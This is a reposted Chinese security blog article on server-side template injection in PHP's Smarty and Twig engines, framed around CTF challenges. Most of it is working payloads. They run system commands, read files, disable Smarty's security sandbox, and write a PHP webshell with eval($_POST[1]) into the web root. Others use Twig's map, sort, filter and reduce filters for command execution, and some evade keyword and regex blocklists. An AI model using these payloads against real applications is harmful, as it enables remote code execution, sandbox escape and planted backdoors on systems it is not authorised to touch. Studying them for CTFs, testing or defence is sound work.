php高版本模板注入tricks

admin 2022年8月20日14:43:21评论18 views字数 4410阅读14分42秒阅读模式
免责声明
由于传播、利用本公众号狐狸说安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号狐狸说安全及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

文章作者:你回来吗

原文地址:https://xz.aliyun.com/t/11228

0x01 前言

Background
php常见的模板就两种 twig和smarty 在早些版本我们有很多种rce的方法但是随着版本升高新增加的安全策略以及安全人员的各种黑名单导致比较困难去利用,这里浅谈下我的一些发现

0x02  Smarty下的模板注入

低版本利用手法

如果你是CTFer 一定记得出自于CISCN2019华东南赛区Web11的一道题

php高版本模板注入tricks

在这里我们可以在X-Forwarded-For里面插入payload来达到rce的效果

比如可以直接调用{{system('cat /flag')}}来获取flagphp高版本模板注入tricks

如果在未经过任何处理的情况下,这段payload可以通杀任何版本

3.1以下还有他独特的利用方法 比如{php}{/php} 通过内置的php标签直接进行函数的调用 比如{php}phpinfo();{/php}php高版本模板注入tricks

但值得一提的是3.1以下版本太少见 市面上常见的CTF题目都是3.1+ 可以看见他的报错是已经禁止了{php}标签 只允许在SmartyBC里使用

如果你曾经看过ecshop的代码 你会发现 他们经常使用一个标签叫做{literal}

{literal}标签的能力是用来包裹js的,如果平常添加js代码可能会出错 ,如果可以配合php5中的

<script language="php">phpinfo();</script>

特殊标签来命令执行

还有一个漏洞点就是3.1.30之前 我们也可以利用Smarty类的getStreamVariable方法来进行读写

具体Payload

{self::getStreamVariable("file:///flag")}

这是因为读取的源码如下 可以看到可控的fopen文件读写

public function getStreamVariable($variable){        $_result = '';        $fp = fopen($variable, 'r+');        if ($fp) {            while (!feof($fp) && ($current_line = fgets($fp)) !== false) {                $_result .= $current_line;            }            fclose($fp);            return $_result;        }

而在<3.31以下也出过命令执行RCE demo如下

<?php
require './vendor/autoload.php';

class Smarty_Resource_Widget extends Smarty_Resource_Custom
{
protected function fetch($name, &$source, &$mtime)
{
$template = "test";
$source = $template;
$mtime = time();
return '1';
}
}

$smarty = new Smarty();
$smarty->setCacheDir('cache');
$smarty->setCompileDir('compile');
$smarty->setTemplateDir('templates');

$my_security_policy = new Smarty_Security($smarty);
$smarty->enableSecurity($my_security_policy);
$smarty->registerResource('username', new Smarty_Resource_Widget());
$smarty->display('username:'.$_GET['a']);

?>

在这里可以看到开启了Smarty_Security内置的沙盒保护机制php高版本模板注入tricks

可以看到$_template->source->filepath 进行了直接拼接

而你可以发现我们所做的只要将payload前后各闭合一个注释 让程序包含文件即可命令执行poc: */phpinfo();/*

即可来写入文件包含 具体漏洞详情可以自行搜索CVE-2017-1000480 我就不再多提了

高版本利用方法

demo如下 高版本一般都可以指定沙盒

<?phpinclude_once('../libs/Smarty.class.php');$smarty = new Smarty();$smarty->enableSecurity();$smarty->display($_GET['poc']);

在<=3.1.38的条件下

我们可以有如下的poc

?poc=string:{$s=$smarty.template_object->smarty}{$fp=$smarty.template_object->compiled->filepath}{Smarty_Internal_Runtime_WriteFile::writeFile($fp,"<?php+phpinfo();",$s)}?poc=string:{$smarty.template_object->smarty->disableSecurity()->display('string:{system('id')}')}?poc=string:{function+name='rce(){};system("id");function+'}{/function}

来进行命令执行

但很多时候 开发者可能会进行一些底层的修改来进行一些黑名单 比如笔者曾经打过移动的一个ctf

笔者使用了第三个poc打发现显示php高版本模板注入tricks

后来发现源码之后php高版本模板注入tricks

在这里进行了些许patch 禁止我们使用function 当然这里面是strstr 没有使用stristr 所以我们可以把function大写来进行绕过

那当然如果在实战场景下 我们可能会看见有开启严格的沙盒模式的情况

$smarty = new Smarty();$my_security_policy = new Smarty_Security($smarty);$my_security_policy->php_functions = null;$my_security_policy->php_handling = Smarty::PHP_REMOVE;$my_security_policy->php_modifiers = null;$my_security_policy->static_classes = null;$my_security_policy->allow_super_globals = false;$my_security_policy->allow_constants = false;$my_security_policy->allow_php_tag = false;$my_security_policy->streams = null;$my_security_policy->php_modifiers = null;$smarty->enableSecurity($my_security_policy);$smarty->display($herf);

这种情况我们就可以使用我们的第二个payload

?poc=string:{$smarty.template_object->smarty->disableSecurity()->display('string:{system('id')}')}

来关闭沙盒执行

当然当一些自作聪明的人ban掉渲染display函数的时候 我们也同样可以使用fetch函数来达到同样渲染模板的作用

0x03 Twig下的模板注入

twig有多种多样的过滤器 导致面临着不小的安全问题

低版本利用方法

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

在twig 1.x的情况下 _self变量可以调用Twig_Enviroment中的getfilter方法 最后底层走了call_user_func 出现模板注入

高版本利用方法

在高版本2.x/3.x中 _self失去了意义 但有许许多多的过滤器会导致命令执行

简单写个demo

$loader = new TwigLoaderArrayLoader([    'index' => 'Hello'."  guest flag is in /flag",    'check' => 'Hello'." "."{% autoescape 'html' %}".$_GET['name']."{% endautoescape %}",    'check2' => 'Hello'." ".$_GET['name']),]);$twig = new TwigEnvironment($loader);echo $twig->render('check2');

测试poc

{{["id"]|map("system")}}{{{"<?php phpinfo();eval($_POST[1])":"/var/www/html/1.php"}|map("file_put_contents")}}    {{["id", 0]|sort("system")}}{{["id"]|filter("system")}}{{[0, 0]|reduce("system", "id")}}

可以看到分别使用了map sort filter reduce四种构造器都会导致命令执行

他们的底层原理也很简单 走了array家族的这几个 array_filter array_reduce array_map 都会导致命令执行

而笔者在前两天的时候查实战日志中看到一个很有趣的poc 虽然说是因为开发者的正则很垃圾 但还是有一些参考价值的

{{[%22galf/%20tac%22]|join(%22%22)|reverse|split('',14)|filter(%27passthru%27)}}

可以看到他把payload反着写在数组里 利用join 来拼接成字符串 再reverse变成正常的我们需要的字符串 cat /flag 而filter我们知道需要数组来执行 所以他用了split组合成数组来达到rce的目的 由此看来这些功能丰富的过滤器还是有点意思的

0x04 参考文章

http://www.wangqingzheng.com/anquanke/5/235505.html


https://www.kancloud.cn/yunye/twig-cn/159460

https://www.smarty.net/docs/zh_CN/



原文始发于微信公众号(狐狸说安全):php高版本模板注入tricks

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年8月20日14:43:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   php高版本模板注入trickshttp://cn-sec.com/archives/1245006.html

发表评论

匿名网友 填写信息